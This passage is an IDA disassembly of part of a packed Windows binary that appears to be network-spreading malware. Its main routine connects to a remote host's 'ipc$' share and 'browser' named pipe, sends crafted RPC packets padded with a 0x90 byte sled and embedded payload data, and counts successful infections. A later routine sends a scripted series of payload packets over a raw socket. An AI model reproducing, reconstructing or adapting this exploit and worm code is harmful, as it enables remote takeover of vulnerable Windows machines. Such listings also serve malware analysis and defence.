		cmp	eax, 1Fh
		ja	short loc_40D4F6
		cmp	eax, edi
		jnb	short loc_40D50E


loc_40D4F6:				; CODE XREF: sub_40D48F+61j
		push	1
		mov	ecx, esi
		call	sub_40D515
		jmp	short loc_40D506
; ---------------------------------------------------------------------------


loc_40D501:				; CODE XREF: sub_40D48F+59j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D50E


loc_40D506:				; CODE XREF: sub_40D48F+70j
		mov	ecx, esi


loc_40D508:				; CODE XREF: sub_40D48F+2Bj
		push	edi
		call	sub_40D5E9


loc_40D50E:				; CODE XREF: sub_40D48F+65j
					; sub_40D48F+75j
		mov	al, 1


loc_40D510:				; CODE XREF: sub_40D48F+38j
		pop	edi
		pop	esi
		retn	8
sub_40D48F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D515	proc near		; CODE XREF: sub_40CEE3+1Fp
					; sub_40CEE3+16Bp ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D53D
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D53D
		dec	eax
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_40D536
		cmp	cl, 0FFh
		jz	short loc_40D536
		dec	byte ptr [eax]
		jmp	short loc_40D53D
; ---------------------------------------------------------------------------


loc_40D536:				; CODE XREF: sub_40D515+16j
					; sub_40D515+1Bj
		push	eax
		call	sub_41D453
		pop	ecx


loc_40D53D:				; CODE XREF: sub_40D515+8j
					; sub_40D515+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D515	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D54D	proc near		; CODE XREF: .packed:0040D273p
					; sub_40D6A6+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		push	edi
		mov	esi, ecx
		call	sub_40D48F
		test	al, al
		jz	short loc_40D57B
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	near ptr sub_41CAE0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D57B:				; CODE XREF: sub_40D54D+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D54D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D582	proc near		; CODE XREF: sub_40D3C2+35p
					; sub_40D3C2+41p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D595
		call	sub_426ECC


loc_40D595:				; CODE XREF: sub_40D582+Cj
		mov	ecx, edi
		call	sub_40D6A6
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40D5AB
		mov	ebx, eax


loc_40D5AB:				; CODE XREF: sub_40D582+25j
		test	ebx, ebx
		jbe	short loc_40D5E1
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41D460
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D48F
		test	al, al
		jz	short loc_40D5E1
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40D5E1:				; CODE XREF: sub_40D582+2Bj
					; sub_40D582+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D582	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D5E9	proc near		; CODE XREF: sub_40D48F+7Ap
		mov	eax, offset loc_4276C0
		call	sub_41D434
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40D60F
		mov	edi, [ebp+8]


loc_40D60F:				; CODE XREF: sub_40D5E9+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40D61C
		xor	eax, eax


loc_40D61C:				; CODE XREF: sub_40D5E9+2Fj
		push	eax
		call	sub_41D795
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40D64D
; ---------------------------------------------------------------------------


loc_40D628:				; DATA XREF: .packed:00428FDCo
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40D637
		xor	eax, eax


loc_40D637:				; CODE XREF: sub_40D5E9+4Aj
		push	eax
		call	sub_41D795
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40D647
		retn
; ---------------------------------------------------------------------------


loc_40D647:				; DATA XREF: sub_40D5E9+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40D64D:				; CODE XREF: sub_40D5E9+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40D66B
		cmp	eax, edi
		jbe	short loc_40D65A
		mov	eax, edi


loc_40D65A:				; CODE XREF: sub_40D5E9+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	near ptr sub_41CAE0
		add	esp, 0Ch


loc_40D66B:				; CODE XREF: sub_40D5E9+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D515
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40D68B
		mov	edi, ebx


loc_40D68B:				; CODE XREF: sub_40D5E9+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40D5E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6A6	proc near		; CODE XREF: sub_40D582+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40D6D3
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40D6D3
		cmp	al, 0FFh
		jz	short loc_40D6D3
		push	1
		call	sub_40D515
		push	esi
		call	sub_41B7B0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D54D


loc_40D6D3:				; CODE XREF: sub_40D6A6+9j
					; sub_40D6A6+10j ...
		pop	edi
		pop	esi
		retn
sub_40D6A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6D6	proc near		; DATA XREF: .packed:0042A00Co
		test	byte_4DE34C, 1
		jnz	short loc_40D6E6
		or	byte_4DE34C, 1


loc_40D6E6:				; CODE XREF: sub_40D6D6+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41D810
		pop	ecx
		retn
sub_40D6D6	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	ebx, 8Bh
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		mov	[ebp+0A8h], ebx
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DDC4
		push	2Fh
		lea	esi, [ebp+8]
		pop	ecx
		mov	[ebp+0A8h], ebx
		mov	edi, esp
		mov	[ebp-4], eax
		rep movsd
		call	sub_40E2B0
		push	2Fh
		lea	esi, [ebp+8]
		pop	ecx
		mov	[ebp+0A8h], ebx
		mov	edi, esp
		mov	[ebp-8], eax
		rep movsd
		call	sub_40E6CD
		add	esp, 0BCh
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_40D766
		cmp	dword ptr [ebp-8], 0
		jnz	short loc_40D766
		test	eax, eax
		jz	short loc_40D769


loc_40D766:				; CODE XREF: .packed:0040D75Aj
					; .packed:0040D760j
		xor	eax, eax
		inc	eax


loc_40D769:				; CODE XREF: .packed:0040D764j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D76E	proc near		; DATA XREF: .packed:0042A010o
		jmp	$+5
sub_40D76E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D773	proc near
		mov	eax, dword_4339A8
		add	eax, 6
		mov	dword_4D0970, eax
		retn
sub_40D773	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D781	proc near		; CODE XREF: sub_40D781+D0p
					; sub_40D86F+484p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40D795
		or	[ebp+arg_7], 1
		jmp	short loc_40D799
; ---------------------------------------------------------------------------


loc_40D795:				; CODE XREF: sub_40D781+Cj
		and	[ebp+arg_7], 0FEh


loc_40D799:				; CODE XREF: sub_40D781+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40D7BD
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40D7CF
; ---------------------------------------------------------------------------


loc_40D7BD:				; CODE XREF: sub_40D781+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_40D7CF:				; CODE XREF: sub_40D781+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_41BCA5
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40D868
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	near ptr sub_41CAE0
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		call	dword_4280E0	; WriteFile
		test	eax, eax
		jz	short loc_40D85F
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40D85F
		push	[ebp+arg_20]
		call	sub_41B881
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40D85B
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40D781
		add	esp, 2Ch
		jmp	short loc_40D86A
; ---------------------------------------------------------------------------


loc_40D85B:				; CODE XREF: sub_40D781+B3j
		mov	al, 1
		jmp	short loc_40D86A
; ---------------------------------------------------------------------------


loc_40D85F:				; CODE XREF: sub_40D781+9Cj
					; sub_40D781+A4j
		push	[ebp+arg_20]
		call	sub_41B881
		pop	ecx


loc_40D868:				; CODE XREF: sub_40D781+61j
		xor	al, al


loc_40D86A:				; CODE XREF: sub_40D781+D8j
					; sub_40D781+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D781	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D86F	proc near		; CODE XREF: sub_40DDC4+15p
					; sub_40DDC4+3Cp

var_60E0	= byte ptr -60E0h
var_40E0	= byte ptr -40E0h
var_20E0	= byte ptr -20E0h
var_E0		= byte ptr -0E0h
var_CC		= dword	ptr -0CCh
var_C0		= byte ptr -0C0h
var_BC		= byte ptr -0BCh
var_BB		= byte ptr -0BBh
var_BA		= byte ptr -0BAh
var_B9		= byte ptr -0B9h
var_B8		= dword	ptr -0B8h
var_B4		= word ptr -0B4h
var_B2		= word ptr -0B2h
var_B0		= dword	ptr -0B0h
var_AC		= word ptr -0ACh
var_AA		= word ptr -0AAh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= word ptr -0A0h
var_9E		= byte ptr -9Eh
var_9C		= byte ptr -9Ch
var_8C		= dword	ptr -8Ch
var_88		= byte ptr -88h
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= qword	ptr -68h
var_60		= byte ptr -60h
var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_4B		= byte ptr -4Bh
var_4A		= byte ptr -4Ah
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A8		= dword	ptr  0B0h
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		mov	eax, 60E0h
		call	sub_41C2F0
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+arg_4]
		push	offset a_	; "."
		push	eax
		call	sub_41D930
		pop	ecx
		xor	ebx, ebx
		test	eax, eax
		pop	ecx
		mov	esi, 2000h
		jz	short loc_40D8E3
		lea	eax, [ebp+arg_4]
		push	eax
		push	offset aSIpc	; "\\\\%s\\ipc$"
		lea	eax, [ebp+var_20E0]
		push	esi
		push	eax
		call	sub_41C150
		push	20h
		lea	eax, [ebp+var_E0]
		push	ebx
		push	eax
		call	sub_41BD60
		lea	eax, [ebp+var_20E0]
		add	esp, 1Ch
		mov	[ebp+var_CC], eax
		mov	eax, offset byte_43FE14
		push	ebx
		push	eax
		push	eax
		lea	eax, [ebp+var_E0]
		push	eax
		call	dword_4CDD0C


loc_40D8E3:				; CODE XREF: sub_40D86F+29j
		lea	eax, [ebp+arg_4]
		push	eax
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		lea	eax, [ebp+var_40E0]
		push	esi
		push	eax
		call	sub_41C150
		add	esp, 10h
		lea	eax, [ebp+var_40E0]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	dword_4280EC	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	dword ptr [ebp+var_C+4], eax
		jnz	short loc_40D928


loc_40D921:				; CODE XREF: sub_40D86F+266j
					; sub_40D86F+371j ...
		xor	eax, eax
		jmp	loc_40DDBF
; ---------------------------------------------------------------------------


loc_40D928:				; CODE XREF: sub_40D86F+B0j
		push	48h
		lea	eax, [ebp+var_BC]
		push	ebx
		push	eax
		call	sub_41BD60
		push	10h
		xor	edi, edi
		pop	eax
		inc	edi
		mov	[ebp+var_B8], eax
		push	eax
		lea	eax, [ebp+var_9C]
		push	offset dword_4339FC
		push	eax
		mov	[ebp+var_BC], 5
		mov	[ebp+var_BB], bl
		mov	[ebp+var_BA], 0Bh
		mov	[ebp+var_B9], 3
		mov	[ebp+var_B4], 48h
		mov	[ebp+var_B2], bx
		mov	[ebp+var_B0], ebx
		mov	[ebp+var_AC], 10B8h
		mov	[ebp+var_AA], 10B8h
		mov	[ebp+var_A8], ebx
		mov	[ebp+var_A4], edi
		mov	[ebp+var_A0], bx
		mov	[ebp+var_9E], 1
		call	near ptr sub_41CAE0
		push	10h
		lea	eax, [ebp+var_88]
		push	offset dword_4339E8
		push	eax
		mov	[ebp+var_8C], 3
		call	near ptr sub_41CAE0
		add	esp, 24h
		lea	eax, [ebp+var_C0]
		mov	[ebp+var_78], 2
		push	ebx
		push	eax
		lea	eax, [ebp+var_BC]
		push	48h
		push	eax
		push	dword ptr [ebp+var_C+4]
		call	dword_4280E0	; WriteFile
		test	eax, eax
		jz	loc_40DACC
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_60E0]
		push	esi
		push	eax
		push	dword ptr [ebp+var_C+4]
		call	dword_4280E8	; ReadFile
		push	ebx
		call	sub_41D851
		push	eax
		call	sub_41C0A8
		push	14h
		lea	eax, [ebp+var_74]
		push	41h
		push	eax
		call	sub_41BD60
		push	1Ch
		lea	eax, [ebp+var_34]
		push	41h
		push	eax
		call	sub_41BD60
		add	esp, 20h
		call	sub_41C0B2
		mov	esi, [ebp+arg_BC]
		mov	[ebp+var_74], eax
		mov	dword ptr [ebp+var_68],	edi
		mov	[ebp+var_6C], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp+var_70], edi
		shl	esi, 2
		mov	word ptr [ebp+var_68+4], bx
		mov	[ebp+var_2C], ebx
		cmp	byte_433990[esi], bl
		jz	short loc_40DA75
		push	4
		mov	[ebp+var_28], edi
		mov	[ebp+var_30], edi
		push	offset dword_4D0974
		jmp	short loc_40DA85
; ---------------------------------------------------------------------------


loc_40DA75:				; CODE XREF: sub_40D86F+1F5j
		push	2
		pop	eax
		push	4
		mov	[ebp+var_28], eax
		mov	[ebp+var_30], eax
		push	(offset	loc_4339DF+1)


loc_40DA85:				; CODE XREF: sub_40D86F+204j
		lea	eax, [ebp+var_24]
		push	eax
		call	near ptr sub_41CAE0
		add	esp, 0Ch
		call	sub_41C0B2
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp+var_34], edx
		call	sub_41C0B2
		cdq
		idiv	edi
		mov	eax, dword_433984[esi]
		mov	[ebp+var_1C], ebx
		push	eax
		mov	[ebp+arg_BC], eax
		inc	edx
		mov	[ebp+var_20], edx
		call	sub_41BCA5
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jnz	short loc_40DADA


loc_40DACC:				; CODE XREF: sub_40D86F+186j
		push	dword ptr [ebp+var_C+4]
		call	dword_42806C	; CloseHandle
		jmp	loc_40D921
; ---------------------------------------------------------------------------


loc_40DADA:				; CODE XREF: sub_40D86F+25Bj
		mov	eax, [ebp+arg_BC]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_41BD60
		mov	eax, [ebp+arg_BC]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_41BD60
		mov	eax, dword_43398C[esi]
		push	7
		add	eax, edi
		push	offset dword_433978
		push	eax
		mov	[ebp+var_4], eax
		call	near ptr sub_41CAE0
		mov	eax, [ebp+var_4]
		push	15Ch
		add	eax, 7
		push	offset dword_433818
		push	eax
		call	near ptr sub_41CAE0
		mov	eax, dword_433988[esi]
		add	esp, 30h
		mov	[ebp+var_4], eax
		add	eax, edi
		cmp	byte_433990[esi], bl
		jz	short loc_40DB91
		push	4
		push	offset dword_4D0970
		push	eax
		call	near ptr sub_41CAE0
		add	[ebp+var_4], 0Ch
		mov	esi, offset dword_4339A8
		mov	eax, [ebp+var_4]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	near ptr sub_41CAE0
		mov	eax, [ebp+var_4]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+var_4], eax
		call	near ptr sub_41CAE0
		mov	eax, [ebp+var_4]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	near ptr sub_41CAE0
		add	esp, 30h
		jmp	short loc_40DBB7
; ---------------------------------------------------------------------------


loc_40DB91:				; CODE XREF: sub_40D86F+2D5j
		mov	[ebp+var_4], eax
		mov	dword ptr [ebp+var_C], 10h
		mov	esi, offset dword_4339A8


loc_40DBA0:				; CODE XREF: sub_40D86F+346j
		push	4
		push	esi
		push	[ebp+var_4]
		call	near ptr sub_41CAE0
		add	[ebp+var_4], 4
		add	esp, 0Ch
		dec	dword ptr [ebp+var_C]
		jnz	short loc_40DBA0


loc_40DBB7:				; CODE XREF: sub_40D86F+320j
		mov	eax, [ebp+arg_BC]
		add	eax, 42h
		push	eax
		call	sub_41BCA5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword ptr [ebp+var_C], esi
		jnz	short loc_40DBE5
		push	dword ptr [ebp+var_C+4]
		call	dword_42806C	; CloseHandle
		push	edi
		call	sub_41B881
		pop	ecx
		jmp	loc_40D921
; ---------------------------------------------------------------------------


loc_40DBE5:				; CODE XREF: sub_40D86F+35Fj
		mov	eax, [ebp+arg_BC]
		add	eax, 42h
		push	eax
		push	ebx		; double
		push	esi
		call	sub_41BD60
		lea	eax, [ebp+var_74]
		push	14h
		push	eax
		push	esi
		call	near ptr sub_41CAE0
		mov	eax, [ebp+arg_BC]
		mov	dword ptr [ebp+var_14+4], ebx
		mov	dword ptr [ebp+var_14],	eax
		add	esp, 10h
		fild	[ebp+var_14]
		fmul	flt_4286AC
		fstp	[esp+0Ch+var_C]
		call	sub_41CF8F
		call	sub_41CF68
		push	[ebp+arg_BC]
		mov	[esi+1Ch], eax
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		mov	[esi+18h], ebx
		call	near ptr sub_41CAE0
		mov	eax, [ebp+arg_BC]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+var_4], eax
		jz	short loc_40DC5B


loc_40DC53:				; CODE XREF: sub_40D86F+3E7j
		inc	eax
		test	al, 3
		jnz	short loc_40DC53
		mov	[ebp+var_4], eax


loc_40DC5B:				; CODE XREF: sub_40D86F+3E2j
		lea	ecx, [ebp+var_34]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	near ptr sub_41CAE0
		add	[ebp+var_4], 1Ch
		push	edi
		call	sub_41B881
		push	18h
		lea	eax, [ebp+var_4C]
		push	ebx
		push	eax
		call	sub_41BD60
		push	14h
		lea	eax, [ebp+var_60]
		push	ebx
		push	eax
		mov	[ebp+var_4C], 5
		mov	[ebp+var_4B], bl
		mov	[ebp+var_4A], bl
		mov	[ebp+var_49], 3
		mov	[ebp+var_48], 10h
		mov	[ebp+var_42], bx
		mov	[ebp+var_40], ebx
		mov	[ebp+var_38], bx
		mov	[ebp+var_36], 1Fh
		call	sub_41BD60
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		call	dword_4280E4	; CreateEventA
		mov	[ebp+var_50], eax
		mov	byte ptr [ebp+arg_BC+3], bl
		mov	dword ptr [ebp+var_14+4], ebx


loc_40DCCB:				; CODE XREF: sub_40D86F+51Ej
		cmp	dword ptr [ebp+var_14+4], 2
		jge	loc_40DD98
		push	1
		push	10B8h
		push	[ebp+var_4]
		inc	dword ptr [ebp+var_14+4]
		push	esi
		lea	esi, [ebp+var_4C]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp+var_C+4]
		rep movsd
		call	sub_40D781
		add	esp, 2Ch
		test	al, al
		jz	loc_40DD95
		cmp	[ebp+var_50], ebx
		jz	short loc_40DD84
		lea	eax, [ebp+var_60]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_60E0]
		push	2000h
		push	eax
		push	dword ptr [ebp+var_C+4]
		call	dword_4280E8	; ReadFile
		test	eax, eax
		jnz	short loc_40DD3A
		call	dword_42808C	; RtlGetLastWin32Error
		cmp	eax, 3E5h
		jnz	loc_40D921


loc_40DD3A:				; CODE XREF: sub_40D86F+4B8j
		push	3E8h
		push	[ebp+var_50]
		call	dword_4280A0	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_40DD84
		push	65h
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		mov	byte ptr [ebp+arg_BC+3], 1
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_418C7F
		mov	eax, [ebp+arg_A8]
		add	esp, 0C0h
		shl	eax, 6
		lea	eax, dword_432A98[eax]
		inc	dword ptr [eax]


loc_40DD84:				; CODE XREF: sub_40D86F+497j
					; sub_40D86F+4DEj
		cmp	byte ptr [ebp+arg_BC+3], bl
		mov	esi, dword ptr [ebp+var_C]
		jz	loc_40DCCB
		jmp	short loc_40DD98
; ---------------------------------------------------------------------------


loc_40DD95:				; CODE XREF: sub_40D86F+48Ej
		mov	esi, dword ptr [ebp+var_C]


loc_40DD98:				; CODE XREF: sub_40D86F+460j
					; sub_40D86F+524j
		push	dword ptr [ebp+var_C+4]
		mov	edi, dword_42806C
		call	edi	; CloseHandle
		push	esi
		call	sub_41B881
		cmp	[ebp+var_50], ebx
		pop	ecx
		jz	short loc_40DDB4
		push	[ebp+var_50]
		call	edi	; CloseHandle


loc_40DDB4:				; CODE XREF: sub_40D86F+53Ej
		xor	eax, eax
		cmp	byte ptr [ebp+arg_BC+3], bl
		setnz	al


loc_40DDBF:				; CODE XREF: sub_40D86F+B4j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D86F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DDC4	proc near		; CODE XREF: .packed:0040D71Bp

arg_0		= byte ptr  4

		push	esi
		push	edi
		push	0
		lea	esi, [esp+0Ch+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40D86F
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40DDED
		xor	eax, eax
		inc	eax
		jmp	short loc_40DE11
; ---------------------------------------------------------------------------


loc_40DDED:				; CODE XREF: sub_40DDC4+22j
		push	1
		lea	esi, [esp+0Ch+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40D86F
		add	esp, 0C0h
		neg	eax
		sbb	eax, eax
		neg	eax


loc_40DE11:				; CODE XREF: sub_40DDC4+27j
		pop	edi
		pop	esi
		retn
sub_40DDC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DE14	proc near		; CODE XREF: sub_40E2B0+35p

var_230		= byte ptr -230h
var_210		= byte ptr -210h
var_1F0		= byte ptr -1F0h
var_1D0		= byte ptr -1D0h
var_1B0		= byte ptr -1B0h
var_190		= byte ptr -190h
var_170		= byte ptr -170h
var_150		= byte ptr -150h
var_130		= byte ptr -130h
var_110		= byte ptr -110h
var_F0		= byte ptr -0F0h
var_D0		= byte ptr -0D0h
var_B0		= byte ptr -0B0h
var_90		= byte ptr -90h
var_70		= byte ptr -70h
var_50		= byte ptr -50h
var_30		= byte ptr -30h
var_20		= dword	ptr -20h
var_10		= byte ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
arg_136F8	= byte ptr  136FCh
arg_13720	= dword	ptr  13724h
arg_13864	= byte ptr  13868h
arg_1388C	= byte ptr  13890h
arg_13924	= dword	ptr  13928h

		mov	eax, 13894h
		call	sub_41C2F0
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	edi, edi
		push	edi
		push	1
		push	2
		call	dword_428220	; socket
		mov	esi, eax
		lea	eax, [esp+1Ch+arg_1388C]
		push	eax
		mov	word ptr [esp+20h+var_8], 2
		call	dword_428234	; inet_addr
		push	[esp+20h+arg_13924]
		mov	[esp+24h+var_8], eax
		call	dword_42820C	; ntohs
		mov	[esp+24h+var_E], ax
		lea	eax, [esp+24h+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_428210	; connect
		test	eax, eax
		jge	short loc_40DE75


loc_40DE6E:				; CODE XREF: sub_40DE14+275j
		xor	eax, eax
		jmp	loc_40E2A5
; ---------------------------------------------------------------------------


loc_40DE75:				; CODE XREF: sub_40DE14+58j
		lea	eax, [esp+30h+var_20]
		push	4
		push	eax
		push	1006h
		push	0FFFFh
		push	esi
		mov	[esp+44h+var_20], 1388h
		call	dword_428214	; setsockopt
		lea	eax, [esp+44h+arg_13864]
		push	1
		push	eax
		call	sub_418466
		pop	ecx
		cmp	eax, 2
		pop	ecx
		jz	loc_40E08E
		cmp	eax, 1
		jz	loc_40E08E
		mov	ebx, dword_428224
		push	edi
		push	48h
		push	offset aB	; ""
		push	esi
		call	ebx	; send
		mov	ebp, dword_428218
		push	edi
		mov	edi, 13880h
		lea	eax, [esp+58h+var_30]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	58h
		push	offset dword_433A80
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+78h+var_50]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	0B0h
		push	offset dword_433AE0
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+98h+var_70]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	0F6h
		push	offset dword_433B98
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+0B8h+var_90]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	3Eh
		push	offset dword_433C90
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+0D8h+var_B0]
		push	edi
		push	eax
		push	esi
